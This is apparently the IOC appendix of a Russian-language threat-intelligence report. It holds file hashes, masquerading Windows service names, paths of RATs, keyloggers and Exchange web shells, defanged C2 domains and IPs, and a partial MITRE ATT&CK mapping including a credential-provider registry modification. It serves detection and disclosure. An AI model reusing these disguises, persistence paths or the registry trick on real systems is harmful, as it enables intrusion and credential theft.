f9a9ebab934d4154917116cdbde8ae0b2092c792
5212b2e283ad0c78deefd12dc12b91e776fc7954
f67417ddebec53ae1d847c73bd14ef62774d77eb
6acbc4ccbddf8f124b61a4fa0b897eb7203695b1
2ee2165177a55eaf8aae1081d6571f3067c2db9a
e99f20a17119249585391966450ab643fd36ecf7
28881982edee9192573ce9e931772bed9fea3cef
b93319e72623c18abd75930170defffe3fb0bd14
48acc122615802b00c3aafdcc753bc531028b9df
c319dd49ca2bd34b338e0eadffb41b7acee83c53
5dfae4fd438f6474cf83d9f2b15890b4ab37ee8a
de65c467c6decd71c2e250516601f8e231f431da
90da10004c8f6fafdaa2cf18922670a745564f45
8145a00085d41ad1b26b041b08e139fb71e287c5
7d6c84ca8839e694ca8465430d13398b0f099612
cf4641aa1851155e9d545b78c0b2732be42a748e
301146af6767b651aa99e2d5f86e4da8e9be1c45
806d2a6e3d038805af914548080841a98c6673e5
1468447a6de4698754d948e878df570266e47dc8
645901c3a130368443d4160da5f31b2123b5952f
ad53700ca78f887ef6fdd0d2cfcc570c107675e2
104ebbb0ec5ca7c652e4b3ee0366523fd898c865
b8c9b8754e74492a5f63fcde9874c757c42356e2
215950ce5d40907b041346f22b4e404ee591581d
b1272f3dc61e96b7f7c64e91a0ab244fe0652a21
318a7059baa2a74f91e2e1c184e1cb87691280f2
46273dcd110c2ba56ac056c11d06d2a994d434ee
905fadbfb5ad3bbf95713c5115eae4c04a73059e
bd910879b14d577f6c40b537bdf581c98884da12
97c30ae487a08aa3b3cdc8ab0498923d5192d645
303676ff8e4317ea2603385caf9f4b74fd3e84be
449992804bce496f7e328138326c4b607933ea9b
a9497942551529a2af3545e40e54927e2bb7c531
274f0e048c4c9da595eba52b96faaeeada01a737
e104ff975ae79f9a2a68b49db59491dd4b52a56e
02c414ba686525f15fd239f0a591e48012f35ce6
eeea5edd64aa969d3ff218111ac4f137875e39b6
453d2639e1e83e486a3d9a99788b4e650a2666db
1a39a8afee5f8d327d238a13547b24616f0ada9f
51c9c4f9d2f302be0010ecf107cdbabb15ae5986
e9afd6e688e58bd15ea6d03b9dab83fbcab141f3
ee51268582ce685a2a7be31cd52abaff9dff4b0b
db7a5fe8c3f00254d0e87d197361cd65a9687f83
57b25145303cf1ee68389c9e760a6cc054c9ddaf
265ed11c930682ccda55b19819e7ad6725f49093
df2a87f3c142925ff63cc264b2d3a628c3d666d4
d67ff6ae5990db924350f11f27e3e595b4aadc9f
d113bc67d41cef98900eaa084fc83dba6b4698b4
SHA256
6347aa71c7fea4c903d42c38220614ff45db62e3edaafe09a2e1da7823dc1b1b
a413b013555ae690b4ad4f3df475f39805cb9972c9219a102f9f9fe1675ac2f7
353ad4ab4465d638bcf12851ae955eb3728b94b02bb3ec81e3f834c99911821b
1fd4e67caf3a047a222cf14364ae415dd1e2903c1595745ad6bb3ff38e52a803
b89c51923cc04d1e3d7ae095b01e00cdc3a0b19edd1911dcb6eef1d0b17b72e1
8c28ba26c38cfba0091d33a95700f07fb31b63eebf6217441d49798e82a43ae2
93ddb14e410a0cf0b43928fe90b179305ef799c2aa51dbf5976f8c6a1a24a496
ebf4cb250956fe4cb5dc6aac608c97783a0850c4c3e86925aef6b37726c056ed
6164c0e1aa6d4e67946066a89b2c08002a046fa6ec7df55bd5def95d6278da3c
7d331e7ae3d29dc3a5bc63f26710e6b9314da8331741b7037b32cbee4a82ce46
aa6ea2a8f21c7b4de20af8ee2f33c0d4653d0639bc673da31fe40dc019cb675a
330c05ecd4083c279bfa11a7f41b0844f514b81baccfd3718e854175fac38d20
824659b20d804698092fffe911d55175e3ecf9269620059c38937356c2be5923
705b7e10d6fd7b7aff135ed2f50a229489baf5b53baa210dfb2c955303bc6a92
ccf7f8b000280bafc69f3e6ea07b482ecf7994b9421fa6eae47dd9cea3f5d848
47fd05c4ebb2de563ac3138043d65f395c7946ff724aa63c5bb4da7e14edfe19
1fcf74e0337a4cd1cacefb0185c1c9b6ffff813d293b38602e9a972be1027acd
b548bdecd15dc51d28be699dd91199523f3705e6557fef3a53b321f1fded3b4f
321a9532dfa7bf0609f0e2a2af0ca89f943e9fb91f5972e4381a9e455eea14c8
c4619f534a38c07b79612390e17d6fb0fb34c9093b473c16c94f2791899fda10
12bac8c57e469cbe6041dec682d2a4888a36a128bb9b87cd656bd4e2abe65692
7a9cf367e78eb73cb5c0618227f78f4f2bfa4328946e92fa91aeeccf730f973f
09db6b70efa3a26dee62812f0c428979ea9bb46128eb5dae32a72fc258fb6e5c
c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e
3edd50cfddf013e3bcaf54cb34841b760bf26a794a955591c09e8f3dcd0a2066
b9129eda8a7a931f5eccdbfe77826fbda7c930e7ec89240b1c36ff89c94bdfd1
d23673759cf004024b2a77a31543f0f71c8805827b2ca9c67ce95190beb0560f
5458efaf14947640c2d27d065455072943f4aa4020bfe816213089e060a5bb88
c421fe090619ce10abc899f47a68383c1151d737e3d6f4e5815ad61e37357fcb
ab223ac662d000d8c602771064ce63377bb4a4935667cb8bc182333a605898e7
69bb846d865cd7d26c95b044d52aa9200a107f1db1f1e5e23f27b20dac9f7848
c1bec59afd3c6071b461bb480ff88ba7e36759a949f4850cc26f0c18e4c811a0
8451eaa0ba4eecf5d126660b5fef598ec2ab4ace3f7b9566d01278b0c9dcedfb
58740a72def7f2642924f42a4637ec4b7a05666fd433e58bc80ddba30af7c2e7
d32cc7b31a6f98c60abc313abc7d1143681f72de2bb2604711a0ba20710caaae
32b2cce757b099f3068928eb4733442ce7f097e4ceb2fa495c3e67171a7c0a13
a251b9346b72eb143e9671523d589a9fbda8179873cd409eadb1fbbb7cf9cfc1
dcc273ab4d864bbc9c285a569a4905ff53e01fc1f70751b6211ab4f9fb004df8
8f2e45baab19660dd5968c4b650f7e0543597cca05dc1cefee0b755f32ed16fc
b18e4d7b04dec96007c56a07e90c7577a811d24ecd01ccd9cdeef085cbda6ffb
971c5164abf1ea2f377d308967967e060ec0b0534bc6e142c61816e49703f844
210cc53d030ce3e21287fc11f59511ff49766445fc14b93db7538c19c9f8e880
6f53de7bf5d04de61947e64ecff2b14f1103dd423041956ee636b15882d00467
11cfc078bc578f23b5a8aaa7a580336a8e703ee830c2d37ad31566dcba2af5fd
5164404a6d04de01e5f869706d218316fc6897063ab19e7d1cb3565b2fecafc4
b5f3b212f87d612b47c9775378c62730011659cf2729683a97180867dcef8a3a
ad4b862900c28a151dc305d8d22f56ec97c8d9f0ead38fcfa3beff0b263ac9a2
1b5f79e439f3aa43804d0dd0aaba0af6da15ecf6d03b4b8f1f25cef08ffc26fc
09382b9dfb902539377fec544fb29418565f92f5b009665e5fd29d9ff145fadf
175189ec02461fe2eaa8766b2602611eeee7dfb36ef6c822c30d9f8887abc304
1d1cb9b169bf3dc0cc7006f369f86f120e483ebd0ff84cdc7f5943d276f76961
04874e7db2e6d63b0ffd0c0280bbd29e3f6fa1571328743d09c711160676daef
099917e1c392c16bf228b7d85e7732841fdb87174e718842c9aad477b5e34203
a2f490902f063cb2bc1c90404be51e48e876023952a7872b55f5ecf80506fef4
b5dba723c9258435b74385815cd8ca2da92a81e279f4a37f10a2fc839defb422
a62163153ccd268e47492c912bfdd40ceb3df8142e0741071ab010ab6554795c
6210b55cf5dbca5fb4f2d660e103291431d445e6f1e0a537bf344a584814e79d
b8aead0e9f79ba7adde38ec3c2b2283bb89db606a788df118be906b171200aca
3ef4c1251e55f207420e27897e2969fb9069884c700164f3bbeedd3ef95b6d2e
d47c56438cabf5080a211606764a1c20207bc2589adbb9d0b4acd8f8c57c596e
2d7a7f3afe32265562a79b94a9264e7fe94125647396bb21273a6002b106d100
Используемые сервисы
Имя |
Отображаемое имя |
Описание |
Запускаемый файл |
---|---|---|---|
helpsvc |
Microsoft Helpsvc |
Microsoft Help Center Service |
C:\Windows\System32\helpsvc.dll |
helpsvc |
help Service |
Retrieves the serial number of any portable music player connected to your computer. |
C:\Windows\System32\helpsvc.dll |
Ntmssvc |
network monitor Service |
Retrieves the serial number of any portable music player connected to your computer. |
C:\Windows\System32\ntmssvc.dll |
Microsoft Resource |
Microsoft Resource |
- |
C:\ProgramData\MicrosoftResource\TextInputHost.exe |
RemoteAccess |
Routing and Remote Access |
Offers routing services to businesses in local area and wide area network environments. |
C:\Windows\System32\mprdimsys.dll |
SRService |
System Restore Service |
Performs system restore functions. To stop service, turn off System Restore from the System Restore tab in My Computer->Properties. |
C:\Windows\System32\srsvc.dll |
CMPSpy |
- |
- |
C:\Windows\System32\CMPSpy.dll |
WmdmPmSp |
Windows Media Device Manager Service |
The service supports the Secure Digital Music Initiative (SDMI) and enables the WMDM (Windows Media Device Manager) to retrieve the serial number from portable music devices using Pre-Message Security Protocol (PMSP), so media content can be copied securely to the device. |
C:\Windows\System32\WmdmPmSp.dll |
Приложение 3. Расширенная информация по файловым IOCs
Кейс 1
Путь |
Хэш-сумма MD5 |
Хэш-сумма SHA1 |
Хэш-сумма SHA256 |
Комментарий |
---|---|---|---|---|
C:\PerfLogs\helpsvc.bat |
518ae23346d7bf3bd38dd30385fa99fa |
5f79e11dbb6a6eefbfc02404f9cbf2a12d0d54ed |
6347aa71c7fea4c903d42c38220614ff45db62e3edaafe09a2e1da7823dc1b1b |
Установщик службы helpsvc |
C:\Windows\System32\helpsvc.dll |
7b4ec1bdf76d88cee0e8a880f75184a2 |
- |
6164c0e1aa6d4e67946066a89b2c08002a046fa6ec7df55bd5def95d6278da3c |
Donnect или DimanoRAT |
C:\Windows\System32\helpsvc.dll |
c12f657efa3fa47e43e2b313a4e28d27 |
f7b57186feea1cf3d738260f2d77f0edebf1e71c |
a413b013555ae690b4ad4f3df475f39805cb9972c9219a102f9f9fe1675ac2f7 |
Donnect C2: 27.102.115[.]153:443 |
C:\Windows\System32\helpsvc.dll |
bb0241fe783e5db8c34ece460cebeaa1 |
7b700dc311320aba5e7aa2b7641aea3d9e3a52f0 |
353ad4ab4465d638bcf12851ae955eb3728b94b02bb3ec81e3f834c99911821b |
DimanoRAT C2: down.soft-update[.]com 38.54.16[.]120 |
C:\Windows\System32\helpsvc.dll |
d053a16ced6382d1ec0b9869f9084860 |
3b29abd7e1de1d2fc4c8c7891aca7774113da4d2 |
1fd4e67caf3a047a222cf14364ae415dd1e2903c1595745ad6bb3ff38e52a803 |
DimanoRAT C2: yandexcloud.samogony[.]com |
C:\Windows\System32\helpsvc.dll |
ac7222db58b804aad7ef45cc2d884692 |
5b70c9bbde07a1516525f33dbef064e5f2c24d12 |
b89c51923cc04d1e3d7ae095b01e00cdc3a0b19edd1911dcb6eef1d0b17b72e1 |
Donnect C2: parking.samogony[.]com |
C:\Windows\System32\helpsvc.dll |
cf40fe8a588711f4fd716396dca9a1a1 |
adee650c278fdec5aaa710c94c71a47dd291fc04 |
8c28ba26c38cfba0091d33a95700f07fb31b63eebf6217441d49798e82a43ae2 |
DimanoRAT C2: reformamebel[.]com |
C:\Windows\Temp\smb.exe |
3239a8656c675a83ac84a68e06869827 |
18d9254e897fed81e6e0384e75838ba1fbdd3e44 |
93ddb14e410a0cf0b43928fe90b179305ef799c2aa51dbf5976f8c6a1a24a496 |
Проект https://github.com/0x7556/smbexec |
C:\Windows\Temp\avp.exe |
607654a81bb6c49d70d3601b70d968b2 |
64bf7617fe42800d4da8cf1f2201eafdc9a3174e |
ebf4cb250956fe4cb5dc6aac608c97783a0850c4c3e86925aef6b37726c056ed |
|
C:\Windows\System32\mprdimsys.dll |
def27ebdd447c605a05836fb359460b2 |
48f4ba8c10c02146af502a568416e70a86fe4108 |
7d331e7ae3d29dc3a5bc63f26710e6b9314da8331741b7037b32cbee4a82ce46 |
DimanoRAT C2: yandexcloud.samogony[.]com |
C:\Windows\System32\ntmssvc.dll |
a022c93e1b9e43f38bea0be55b34ecd0 |
32645cf32ea715bc41c72089b946c384a6a7e155 |
aa6ea2a8f21c7b4de20af8ee2f33c0d4653d0639bc673da31fe40dc019cb675a |
DimanoRAT C2: api.hoteldinamo[.]com |
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\options.aspx C:\ProgramData\Microsoft\MF\Core.GRL |
505af1d8b13ff998492021380221e4b9 |
f9a9ebab934d4154917116cdbde8ae0b2092c792 |
330c05ecd4083c279bfa11a7f41b0844f514b81baccfd3718e854175fac38d20 |
Веб-шелл для загрузки файлов |
/tmp/apache_x64, /tmp/tar |
6e8020a14a26ce32dab8df6eb1257667 |
5212b2e283ad0c78deefd12dc12b91e776fc7954 |
824659b20d804698092fffe911d55175e3ecf9269620059c38937356c2be5923 |
|
C:\Windows\System32\mprdimsys.dll |
842ebb16b5a0a7a55f35cd53fbc53e3b |
f67417ddebec53ae1d847c73bd14ef62774d77eb |
705b7e10d6fd7b7aff135ed2f50a229489baf5b53baa210dfb2c955303bc6a92 |
DimanoRAT C2: 185.4.66[.]116 |
C:\Windows\System32\CMPSpy.dll |
c9de939b7393aac6225abd82f9abc2fb |
6acbc4ccbddf8f124b61a4fa0b897eb7203695b1 |
ccf7f8b000280bafc69f3e6ea07b482ecf7994b9421fa6eae47dd9cea3f5d848 |
Кейлоггер CMPSpy |
C:\Windows\Temp\ConfigureRegistrySettings.ps1 |
– |
– |
– |
Установщик CMPSpy в качестве службы |
C:\Windows\System32\ntmssvc.dll |
17642a0f2b976c61e0eb866640d04a8c |
2ee2165177a55eaf8aae1081d6571f3067c2db9a |
47fd05c4ebb2de563ac3138043d65f395c7946ff724aa63c5bb4da7e14edfe19 |
DimanoRAT C2: parking.samogony[.]com |
C:\Windows\System32\helpsvc.dll |
5bd4a2a0894f8c4e492c041ced17b221 |
e99f20a17119249585391966450ab643fd36ecf7 |
1fcf74e0337a4cd1cacefb0185c1c9b6ffff813d293b38602e9a972be1027acd |
DimanoRAT C2: www.puzirik[.]com 188.130.160[.]144 |
C:\Windows\System32\mprdimsys.dll |
d2b058f69a29f2e25f19eb4d7e15416d |
28881982edee9192573ce9e931772bed9fea3cef |
b548bdecd15dc51d28be699dd91199523f3705e6557fef3a53b321f1fded3b4f |
Donnect C2: ssl.hoteldinamo[.]com 192.248.153[.]215 |
C:\ProgramData\MicrosoftResource\TextInputHost.exe |
325b897cde70ce7c42f0a8c6e135b6c2 |
b93319e72623c18abd75930170defffe3fb0bd14 |
321a9532dfa7bf0609f0e2a2af0ca89f943e9fb91f5972e4381a9e455eea14c8 |
Легитимное ПО Bandizip Command line tool для DLL-side load |
C:\PerfLogs\calc.exe |
31940f6eac72022abc1abf52d1d89e9f |
48acc122615802b00c3aafdcc753bc531028b9df |
c4619f534a38c07b79612390e17d6fb0fb34c9093b473c16c94f2791899fda10 |
|
C:\PerfLogs\libnet.exe |
e091fe0e163500f7bb2521e96c1f8880 |
c319dd49ca2bd34b338e0eadffb41b7acee83c53 |
12bac8c57e469cbe6041dec682d2a4888a36a128bb9b87cd656bd4e2abe65692 |
Используется для расшифровки и запуска в памяти PE-файла |
C:\Windows\System32\srsvc.dll |
122c17230e1bd8f3670901cf73238ddc |
5dfae4fd438f6474cf83d9f2b15890b4ab37ee8a |
7a9cf367e78eb73cb5c0618227f78f4f2bfa4328946e92fa91aeeccf730f973f |
Donnect C2: dns.russianpaymentsforum[.]com |
C:\inetpub\wwwroot\aspnet_client\system_web\iis_error.aspx |
3be986a5d6da9fbade41421f6860ca68 |
de65c467c6decd71c2e250516601f8e231f431da |
09db6b70efa3a26dee62812f0c428979ea9bb46128eb5dae32a72fc258fb6e5c |
Веб-шелл big-shell |
C:\Users\[redacted] \Documents\gitlab.exe C:\ProgramData\svcsvb.exe |
f01a9a2d1e31332ed36c1a4d2839f412 |
90da10004c8f6fafdaa2cf18922670a745564f45 |
c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e |
NBTScan, nbtscan-1.0.35.exe |
C:\Windows\System32\Ntmssvc.dll |
0b67e974fb8e80bd9b72fbb2974237d2 |
8145a00085d41ad1b26b041b08e139fb71e287c5 |
3edd50cfddf013e3bcaf54cb34841b760bf26a794a955591c09e8f3dcd0a2066 |
Donnect C2: 158.247.203[.]87 |
C:\ProgramData\Microsoft\scrollend.ps1 |
96642718c6923b0067caa5bb4be3dcef |
7d6c84ca8839e694ca8465430d13398b0f099612 |
b9129eda8a7a931f5eccdbfe77826fbda7c930e7ec89240b1c36ff89c94bdfd1 |
Запускает нагрузку из scrollend.log |
C:\ProgramData\Microsoft\scrollend.log |
7422724288e63d548c474b305e267b2e |
cf4641aa1851155e9d545b78c0b2732be42a748e |
d23673759cf004024b2a77a31543f0f71c8805827b2ca9c67ce95190beb0560f |
Зашифрованный ps1-скрипт, который копирует веб-шелл для загрузки файлов settings.png |
C:\ProgramData\Microsoft\RAC\settings.png |
99ccc389df4fa9c109f47d61e4aa5b2b |
301146af6767b651aa99e2d5f86e4da8e9be1c45 |
5458efaf14947640c2d27d065455072943f4aa4020bfe816213089e060a5bb88 |
Веб-шелл для загрузки файлов. Копируется в C:\Program Files\Microsoft\Exchange Server\v15\FrontEnd\HttpProxy\owa\auth\$num\themes\resources\planc_settings.aspx |
C:\Windows\System32\Ntmssvc.dll |
778aad6cb90efb907454796fbab20a9d |
806d2a6e3d038805af914548080841a98c6673e5 |
c421fe090619ce10abc899f47a68383c1151d737e3d6f4e5815ad61e37357fcb |
DimanoRAT C2: help.springnow[.]net |
C:\ProgramData\MicrosoftResource\ark.x86.dll |
0a8ae8de9650a695eeb27a783fc299f3 |
1468447a6de4698754d948e878df570266e47dc8 |
ab223ac662d000d8c602771064ce63377bb4a4935667cb8bc182333a605898e7 |
TrochilusRAT |
C:\ProgramData\MicrosoftResource\sc.cfg |
97f37f99edf74805812d5d251dc59e46 |
645901c3a130368443d4160da5f31b2123b5952f |
69bb846d865cd7d26c95b044d52aa9200a107f1db1f1e5e23f27b20dac9f7848 |
Файл конфигураций TrochilusRAT С2: cariolis[.]com |
C:\ProgramData\MicrosoftResource\TextInputHost.dat |
078d72a61fe3de477669fcf07ef66fb3 |
ad53700ca78f887ef6fdd0d2cfcc570c107675e2 |
c1bec59afd3c6071b461bb480ff88ba7e36759a949f4850cc26f0c18e4c811a0 |
Полезная нагрузка TrochilusRAT |
C:\ProgramData\MicrosoftResource\ser.dat |
25c047f53e1b6b88d376e90a3d987050 |
104ebbb0ec5ca7c652e4b3ee0366523fd898c865 |
8451eaa0ba4eecf5d126660b5fef598ec2ab4ace3f7b9566d01278b0c9dcedfb |
Полезная нагрузка TrochilusRAT |
C:\ProgramData\MicrosoftResource\rcdll.dat |
4ece4abc0ab1b8b1147095f159b77a89 |
b8c9b8754e74492a5f63fcde9874c757c42356e2 |
58740a72def7f2642924f42a4637ec4b7a05666fd433e58bc80ddba30af7c2e7 |
Полезная нагрузка TrochilusRAT |
C:\ProgramData\MicrosoftResource\TextInputHost.exe |
5d61be7db55b026a5d61a3eed09d0ead |
215950ce5d40907b041346f22b4e404ee591581d |
d32cc7b31a6f98c60abc313abc7d1143681f72de2bb2604711a0ba20710caaae |
Уязвимое ПО GoogleToolbarNotifier.exe |
C:\ProgramData\MicrosoftResource\gtn.dll |
a679c7c7f7a0e960e0cda3ef465ec53c |
b1272f3dc61e96b7f7c64e91a0ab244fe0652a21 |
32b2cce757b099f3068928eb4733442ce7f097e4ceb2fa495c3e67171a7c0a13 |
TrochilusRAT, запускает вредоносный код из dat-файлов |
C:\ProgramData\MicrosoftResource\sc.cfg |
dbab6271567d7d0774fdddf5eb5e50c2 |
318a7059baa2a74f91e2e1c184e1cb87691280f2 |
a251b9346b72eb143e9671523d589a9fbda8179873cd409eadb1fbbb7cf9cfc1 |
Файл конфигураций TrochilusRAT С2: dns-stream[.]com |
C:\ProgramData\MicrosoftResource\ser.dat |
bb3cf91ad5ab1991b048a3acd1414532 |
46273dcd110c2ba56ac056c11d06d2a994d434ee |
dcc273ab4d864bbc9c285a569a4905ff53e01fc1f70751b6211ab4f9fb004df8 |
Полезная нагрузка TrochilusRAT |
C:\ProgramData\MicrosoftResource\rcdll.dat |
8f4a99bc93f9c88a05e80770736d3bfb |
905fadbfb5ad3bbf95713c5115eae4c04a73059e |
8f2e45baab19660dd5968c4b650f7e0543597cca05dc1cefee0b755f32ed16fc |
Полезная нагрузка TrochilusRAT |
C:\ProgramData\MicrosoftResource\sc.cfg |
3fafe14286fe98df8b674f19402d9edb |
bd910879b14d577f6c40b537bdf581c98884da12 |
b18e4d7b04dec96007c56a07e90c7577a811d24ecd01ccd9cdeef085cbda6ffb |
Файл конфигураций TrochilusRAT С2: ttl.huzfs[.]com |
C:\ProgramData\MicrosoftResource\ser.dat |
c07c7ff79bd41e8d28659568d80109e1 |
97c30ae487a08aa3b3cdc8ab0498923d5192d645 |
971c5164abf1ea2f377d308967967e060ec0b0534bc6e142c61816e49703f844 |
Полезная нагрузка TrochilusRAT |
C:\ProgramData\MicrosoftResource\sc.cfg |
fb9e1ee7c2a9d439d830076887368c77 |
303676ff8e4317ea2603385caf9f4b74fd3e84be |
210cc53d030ce3e21287fc11f59511ff49766445fc14b93db7538c19c9f8e880 |
Файл конфигураций TrochilusRAT С2: vorots[.]com |
C:\ProgramData\MicrosoftResource\ser.dat |
a83201e9de3dae06aae1ae5306eba5c3 |
449992804bce496f7e328138326c4b607933ea9b |
6f53de7bf5d04de61947e64ecff2b14f1103dd423041956ee636b15882d00467 |
Полезная нагрузка TrochilusRAT |
C:\ProgramData\MicrosoftResource\rcdll.dat |
d95d2654b737f76305c1410c0cadcc40 |
a9497942551529a2af3545e40e54927e2bb7c531 |
11cfc078bc578f23b5a8aaa7a580336a8e703ee830c2d37ad31566dcba2af5fd |
Полезная нагрузка TrochilusRAT |
C:\Windows\System32\ntmssvc.dll |
e0e2e67a6217c6ba30a407dc82f908db |
274f0e048c4c9da595eba52b96faaeeada01a737 |
5164404a6d04de01e5f869706d218316fc6897063ab19e7d1cb3565b2fecafc4 |
DimanoRAT C2: 38.54.16[.]120 |
C:\Windows\System32\ntmssvc.dll |
b8b371eaf4aa05d68e24e2ceb582cc1f |
e104ff975ae79f9a2a68b49db59491dd4b52a56e |
b5f3b212f87d612b47c9775378c62730011659cf2729683a97180867dcef8a3a |
Donnect C2: parking.samogony[.]com |
C:\ProgramData\iexplor.exe |
d69b2002478ce63143140df5669523aa |
02c414ba686525f15fd239f0a591e48012f35ce6 |
ad4b862900c28a151dc305d8d22f56ec97c8d9f0ead38fcfa3beff0b263ac9a2 |
Command line RAR |
C:\Windows\System32\srsvc.dll |
31d65aa6735c05a83ced34595013045e |
eeea5edd64aa969d3ff218111ac4f137875e39b6 |
1b5f79e439f3aa43804d0dd0aaba0af6da15ecf6d03b4b8f1f25cef08ffc26fc |
Donnect |
C:\Windows\System32\CMPSpy.dll |
9ae9828a9e7cbe43dc146e7771d4f8f7 |
453d2639e1e83e486a3d9a99788b4e650a2666db |
09382b9dfb902539377fec544fb29418565f92f5b009665e5fd29d9ff145fadf |
Кейлоггер CMPSPY |
C:\ProgramData\Cursors.exe |
1be0dbf20f29ea302208d79e88c88539 |
– |
175189ec02461fe2eaa8766b2602611eeee7dfb36ef6c822c30d9f8887abc304 |
Неизвестный файл атакующих |
C:\ProgramData\aas.log |
619f7135621b50fd1900ff24aade1524 |
6c7ea8bbd435163ae3945cbef30ef6b9872a4591 |
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2 |
Легитимный исполняемый файл 7-zip |
C:\ProgramData\7z.dll |
72491c7b87a7c2dd350b727444f13bb4 |
1e9338d56db7ded386878eab7bb44b8934ab1bc7 |
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891 |
Легитимная dll 7-zip |
C:\ProgramData\7z.exe |
afc08ce359e79887e45b8460e124d63e |
e8dcddb302f01d51da3bcbfa6707d025a896aa57 |
a20d93e7dc3711e8b8a8f63bd148ddc70de8c952de882c5495ac121bfedb749f |
Легитимный исполняемый файл 7-zip |
C:\ProgramData\7z.dll |
e7ae42ea24cff97bdead0c560ef2add1 |
866f380a62622ab1b6c7705ddc116635e6e3cc86 |
db2897eeea65401ee1bd8feeebd0dbae8867a27ff4575f12b0b8a613444a5ef7 |
Легитимная dll 7-zip |
C:\ProgramData\share.ps1 |
7cb1d6219f9b0f71e5ae80b67ef5ab7b |
1a39a8afee5f8d327d238a13547b24616f0ada9f |
1d1cb9b169bf3dc0cc7006f369f86f120e483ebd0ff84cdc7f5943d276f76961 |
Скрипт для создания таблицы с имеющимися в системе файлами, а также данными о них |
C:\Windows\System32\srsvc.dll |
5f4e4079608b123943e11770d46ab881 |
51c9c4f9d2f302be0010ecf107cdbabb15ae5986 |
04874e7db2e6d63b0ffd0c0280bbd29e3f6fa1571328743d09c711160676daef |
Donnect C2: DNS.russianpaymentsforum[.]com |
C:\perflogs\Ntmssvc.bat C:\perflogs\Udate.bat |
– |
– |
– |
Установщик службы Ntmssvc |
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Owa\auth\web.aspx |
42f0dc07131705738a14baffd560be7c |
e9afd6e688e58bd15ea6d03b9dab83fbcab141f3 |
099917e1c392c16bf228b7d85e7732841fdb87174e718842c9aad477b5e34203 |
web.config веб-шелл |
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\15.2.1118\themes\resources\errorFE.aspx |
0312f474debf9cef2843fa67b56f2c3d |
ee51268582ce685a2a7be31cd52abaff9dff4b0b |
a2f490902f063cb2bc1c90404be51e48e876023952a7872b55f5ecf80506fef4 |
Веб-шелл AntSpy |
C:\ProgramData\Microsoft\WDF\errorFE.png |
962ac92c11b3fce84603fca34bfd6d5f |
db7a5fe8c3f00254d0e87d197361cd65a9687f83 |
b5dba723c9258435b74385815cd8ca2da92a81e279f4a37f10a2fc839defb422 |
Веб-шелл для загрузки файлов, который копируется в |
C:\ProgramData\Microsoft\WDF\Speech.ps1 |
- |
- |
- |
Запускает нагрузку из speech.log |
C:\ProgramData\Microsoft\WDF\speech.log |
dc8f54c05d9ca2794b0af00c3130f20a |
57b25145303cf1ee68389c9e760a6cc054c9ddaf |
a62163153ccd268e47492c912bfdd40ceb3df8142e0741071ab010ab6554795c |
Зашифрованный ps1-скрипт, который копирует веб-шелл для загрузки файлов errorFE.png |
C:\ProgramData\*\over.mds |
- |
- |
- |
Файл-метка для прекращения работы speech.log. Создается при первой неуспешной попытке копирования errorFE.png |
C:\Windows\Tasks\agent.exe C:\Users\Public\agent.exe |
8867f74c013c0132a04b9c4f0b1ca367 |
265ed11c930682ccda55b19819e7ad6725f49093 |
6210b55cf5dbca5fb4f2d660e103291431d445e6f1e0a537bf344a584814e79d |
Venom Proxy (упакован VMProtect) C2: 38.180.29[.]3 |
C:\Windows\Temp\start.bat |
e7dc06c7e2de61cf84ba10e7a12d764c |
– |
b8aead0e9f79ba7adde38ec3c2b2283bb89db606a788df118be906b171200aca |
Вероятно, скрипт для создания службы SRService и закрепления srsvc.dll |
c:\programdata\microsoft\WDF\ctfmon.ps1 |
dbbcfdb01b4912bb9c935edf89f400c2 |
df2a87f3c142925ff63cc264b2d3a628c3d666d4 |
3ef4c1251e55f207420e27897e2969fb9069884c700164f3bbeedd3ef95b6d2e |
Скрипт, расшифровывающий WDF.log |
C:\ProgramData\Microsoft\WDF\WDF.log |
ae0ac04e64abf20870a5814f047a0658 |
d67ff6ae5990db924350f11f27e3e595b4aadc9f |
d47c56438cabf5080a211606764a1c20207bc2589adbb9d0b4acd8f8c57c596e |
Зашифрованная полезная нагрузка, расшифровываемая ctfmon.ps1, извлекает .NET KingOfHears |
ControlledEnd.exe |
9a1799b33499474dbffa658a8d6c70f1 |
d113bc67d41cef98900eaa084fc83dba6b4698b4 |
2d7a7f3afe32265562a79b94a9264e7fe94125647396bb21273a6002b106d100 |
.NET KingOfHears (JSON variant) backdoor (нагрузка из WDF.log) 45.150.64[.]23 |
Кейс 2
Путь |
Хэш-сумма MD5 |
Хэш-сумма SHA1 |
Хэш-сумма SHA256 |
Комментарий |
---|---|---|---|---|
c:\programdata\20232222.7z |
- |
- |
- |
Архив с данными |
c:\windows\system32\csc\ertg |
- |
- |
- |
Неустановленный исполняемый |
c:\programdata\bsc.ps1 |
- |
- |
- |
Скрипт для расшифровки и запуска полезной нагрузки из bcs.log |
c:\ProgramData\bcs.log |
- |
- |
- |
Полезная нагрузка |
C:\programdata\contain.exe |
- |
- |
- |
Неустановленный исполняемый |
Кейс 3
Путь |
Хэш-сумма MD5 |
Хэш-сумма SHA1 |
Хэш-сумма SHA256 |
Комментарий |
---|---|---|---|---|
c:\programdata\errorlog.ps1 |
- |
- |
- |
Скрипт для расшифровки и запуска полезной нагрузки из errorlog.log |
c:\programdata\errorlog.log |
- |
- |
- |
Полезная нагрузка |
Приложение 4. MITRE
Тактика |
Техника |
Описание |
---|---|---|
Initial Access |
Exploit Public-Facing Application ID: T1190 |
ProxyLogon |
Valid Accounts: Domain Accounts |
Использование легитимных учетных записей для начала атаки |
|
Trusted Relationship ID: T1199 |
Использование доверенных отношений |
|
Discovery |
System Owner/User Discovery ID: T1033 |
Использование net group, net user, netsh wlan show, whoami, net localgroup, qwinsta, net group /domain |
Account Discovery: Domain Account ID: T1087.002 |
Использование Get-ADUser |
|
Application Window Discovery ID: T1010 |
tasklist |
|
Remote System Discovery ID: T1018 |
NBTScan |
|
T1012 Query Registry |
Проверка настроек реестра через утилиту reg.exe |
|
T1083 File and Directory Discovery |
Get-ChildItem команда |
|
Credential Access |
Modify Authentication Process ID: T1556 |
CMPSpy Модификация ветки реестра HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\HwOrder |
